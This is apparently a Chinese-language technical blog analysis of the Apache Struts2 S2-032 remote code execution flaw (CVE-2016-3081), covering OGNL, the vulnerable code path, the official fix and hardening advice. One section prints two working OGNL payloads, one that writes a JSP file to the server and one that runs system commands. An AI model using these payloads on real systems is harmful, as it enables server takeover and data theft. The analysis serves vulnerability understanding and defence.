2016年4月26日,Apache Struts2官方又发布了一份安全公告:Apache Struts2 服务在开启动态方法调用的情况下可以远程执行任意命令,官方编号 S2-032,CVE编号 CVE-2016-3081。这是自2012年Struts2命令执行漏洞大规模爆发之后,该服务时隔四年再次爆发大规模漏洞。该漏洞也是今年目前爆出的最严重安全漏洞。黑客利用该漏洞,可对企业服务器实施远程操作,从而导致数据泄露、远程主机被控、内网渗透等重大安全威胁。
漏洞发生后,又是一次安全和相关公司的一次集体盛会,漏洞利用者在尽可能的利用此次漏洞来显示水平的高超;各大众测平台纷纷发布中招公司,来提升平台的作用;各大安全公司也充分利用此次漏洞来提高公司的影响力,借势营销,什么免费检测,第一时间升级等。还剩一大堆郁闷的厂家,我没招谁没惹谁啊;然后就是大量的苦闷的开发运维人员要连夜升级漏洞补丁。
但是对漏洞的原理危害影响防护等少有提及。本文就是针对以上几点提出自己的见解。
原理
这个漏洞是利用struts2的动态执行OGNL来访问任意java代码的,利用该漏洞,可以扫描远程网页,判断是否存在该类漏洞,进而发送恶意指令,实现文件上传,执行本机命令等后续攻击。
OGNL是Object-Graph Navigation Language的缩写,全称为对象图导航语言,是一种功能强大的表达式语言,它通过简单一致的语法,可以任意存取对象的属性或者调用对象的方法,能够遍历整个对象的结构图,实现对象属性类型的转换等功能。
#、%和$符号在OGNL表达式中经常出现
1.#符号的用途一般有三种。
访问非根对象属性,例如#session.msg表达式,由于Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀;用于过滤和投影(projecting)集合,如persons.{?#this.age>25},persons.{?#this.name=='pla1'}.{age}[0];用来构造Map,例如示例中的#{'foo1':'bar1', 'foo2':'bar2'}。
2.%符号
%符号的用途是在标志的属性为字符串类型时,计算OGNL表达式的值,这个类似js中的eval,很暴力。
3.$符号主要有两个方面的用途。
在国际化资源文件中,引用OGNL表达式,例如国际化资源文件中的代码:reg.agerange=国际化资源信息:年龄必须在${min}同${max}之间; 在Struts 2框架的配置文件中引用OGNL表达式。
代码利用流程
1、客户端请求
http://{webSiteIP.webApp}:{portNum}/{vul.action}?method={malCmdStr}
2、DefaultActionProxy的DefaultActionProxy函数处理请求。
1
2
3
4
5
6
7
8
9
10
11
|
protected DefaultActionProxy(ActionInvocation inv, String namespace, String actionName, String methodName, boolean executeResult, boolean cleanupContext) { this .invocation = inv; this .cleanupContext = cleanupContext; LOG.debug( "Creating an DefaultActionProxy for namespace [{}] and action name [{}]" , namespace, actionName); this .actionName = StringEscapeUtils.escapeHtml4(actionName); this .namespace = namespace; this .executeResult = executeResult; //攻击者可以通过变量传递、语法补齐、字符转义等方法进行绕过。 this .method = StringEscapeUtils.escapeEcmaScript(StringEscapeUtils.escapeHtml4(methodName)); } |
3、DefaultActionMapper的DefaultActionMapper方法method方法名
1
2
3
4
5
6
7
8
9
10
|
String name = key.substring(ACTION_PREFIX.length()); if (allowDynamicMethodCalls) { int bang = name.indexOf( '!' ); if (bang != - 1 ) { //获取方法名 String method = cleanupActionName(name.substring(bang + 1 )); mapping.setMethod(method); name = name.substring( 0 , bang); } } |
4、调用DefaultActionInvocation 的invokeAction方法执行传入的方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception { String methodName = proxy.getMethod(); LOG.debug( "Executing action method = {}" , methodName); String timerKey = "invokeAction: " + proxy.getActionName(); try { UtilTimerStack.push(timerKey); Object methodResult; try { //执行方法 methodResult = ognlUtil.getValue(methodName + "()" , getStack().getContext(), action); } catch (MethodFailedException e) { |
解决办法
官方的解决办法是在第三步中的函数cleanupActionName增加了校验。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
protected Pattern allowedActionNames = Pattern.compile( "[a-zA-Z0-9._!/\\-]*" ); protected String cleanupActionName( final String rawActionName) { //校验,输入过滤正则匹配("[a-zA-Z0-9._!/\\-]*"),这是采取白名单方式,只允许大小写字母、数字等有限字符。 if (allowedActionNames.matcher(rawActionName).matches()) { return rawActionName; } else { if (LOG.isWarnEnabled()) { LOG.warn( "Action/method [#0] does not match allowed action names pattern [#1], cleaning it up!" , rawActionName, allowedActionNames); } String cleanActionName = rawActionName; for (String chunk : allowedActionNames.split(rawActionName)) { cleanActionName = cleanActionName.replace(chunk, "" ); } if (LOG.isDebugEnabled()) { LOG.debug( "Cleaned action/method name [#0]" , cleanActionName); } return cleanActionName; } } |
修复建议
1、禁用动态方法调用
修改Struts2的配置文件,将“struts.enable.DynamicMethodInvocation”的值设置为false,比如:
<constantname="struts.enable.DynamicMethodInvocation" value="false"/>;
2、升级软件版本
升级Struts版本至2.3.20.2、2.3.24.2或者2.3.28.1
补丁地址:https://struts.apache.org/download.cgi#struts23281
漏洞利用代码
1、上传文件:
method:%23_memberAccess%[email]3d@ognl.OgnlContext[/email]@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23path%3d%23req.getRealPath(%23parameters.pp[0]),new%20java.io.BufferedWriter(new%20java.io.FileWriter(%23path%2b%23parameters.shellname[0]).append(%23parameters.shellContent[0])).close(),%23w.print(%23path),%23w.close(),1?%23xx:%23request.toString&shellname=stest.jsp&shellContent=tttt&encoding=UTF-8&pp=%2f
上面的代码看起来有点不方便,我们进行转换一下在看看。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
method:#_memberAccess= @ognl .OgnlContext @DEFAULT_MEMBER_ACCESS , #req= @org .apache.struts2.ServletActionContext @getRequest (), #res= @org .apache.struts2.ServletActionContext @getResponse (), #res.setCharacterEncoding(#parameters.encoding[ 0 ]), #w=#res.getWriter(), #path=#req.getRealPath(#parameters.pp[ 0 ]), new java.io.BufferedWriter( new java.io.FileWriter(#path+#parameters.shellname[ 0 ]).append(#parameters.shellContent[ 0 ])).close(), #w.print(#path), #w.close(), 1 ?#xx:#request.toString& shellname=stest.jsp& shellContent=tttt& encoding=UTF- 8 &pp=/ |
2、执行本地命令:
method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=whoami&pp=\\A&ppp=%20&encoding=UTF-8
同样我们经过转换在看一下
1
2
3
4
5
6
7
8
9
10
11
|
method:#_memberAccess[#parameters.name1[ 0 ]]= true , #_memberAccess[#parameters.name[ 0 ]]= true , #_memberAccess[#parameters.name2[ 0 ]]={}, #_memberAccess[#parameters.name3[ 0 ]]={}, #res= @org .apache.struts2.ServletActionContext @getResponse (), #res.setCharacterEncoding(#parameters.encoding[ 0 ]), #w#d#res.getWriter(), #s= new java.util.Scanner( @java .lang.Runtime @getRuntime ().exec(#parameters.cmd[ 0 ]).getInputStream()). useDelimiter(#parameters.pp[ 0 ]), #str=#s.hasNext()?#s.next():#parameters.ppp[ 0 ],#w.print(#str),#w.close(), 1 ? #xx:#request.toString&name=allowStaticMethodAccess&name1=allowPrivateAccess&name2=excludedPackageNamePatterns&name3=excludedClasses&cmd=whoami&pp=\\A&ppp= &encoding=UTF- 8 |
通过之前的介绍,发现转换后还是比较容易理解的。
如何预防
安全中有个非常重要的原则就是最小权限原则。所谓最小特权(Least Privilege),指的是"在完成某种操作时所赋予网络中每个主体(用户或进程)必不可少的特权"。最小特权原则,则是指"应限定网络中每个主体所必须的最小特权,确保可能的事故、错误、网络部件的篡改等原因造成的损失最小"。
比如在系统中如果没有用到动态方法调用,在部署的时候就去掉,这样即使补丁没有打,依然不会被利用。
在这个系统中最重要的危害之一是执行本地进程,如果系统没有执行本地进行的需求,也可以禁用。
我们看一下java代码中执行本地命令的代码,ProcessImpl中的ProcessImpl。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
private ProcessImpl(String cmd[], final String envblock, final String path, final long [] stdHandles, final boolean redirectErrorStream) throws IOException { String cmdstr; SecurityManager security = System.getSecurityManager(); boolean allowAmbiguousCommands = false ; if (security == null ) { allowAmbiguousCommands = true ; //jdk已经指定了参数来标识是否可以执行本地进程。 String value = System.getProperty( "jdk.lang.Process.allowAmbiguousCommands" ); if (value != null ) allowAmbiguousCommands = ! "false" .equalsIgnoreCase(value); } if (allowAmbiguousCommands) { |
在java启动的时候加上参数 -Djdk.lang.Process.allowAmbigousCommands=false,这样java就不会执行本地进程。
如果在系统部署的时候能提前把不必要的内容关掉,可以会减少或者杜绝这个漏洞的危害。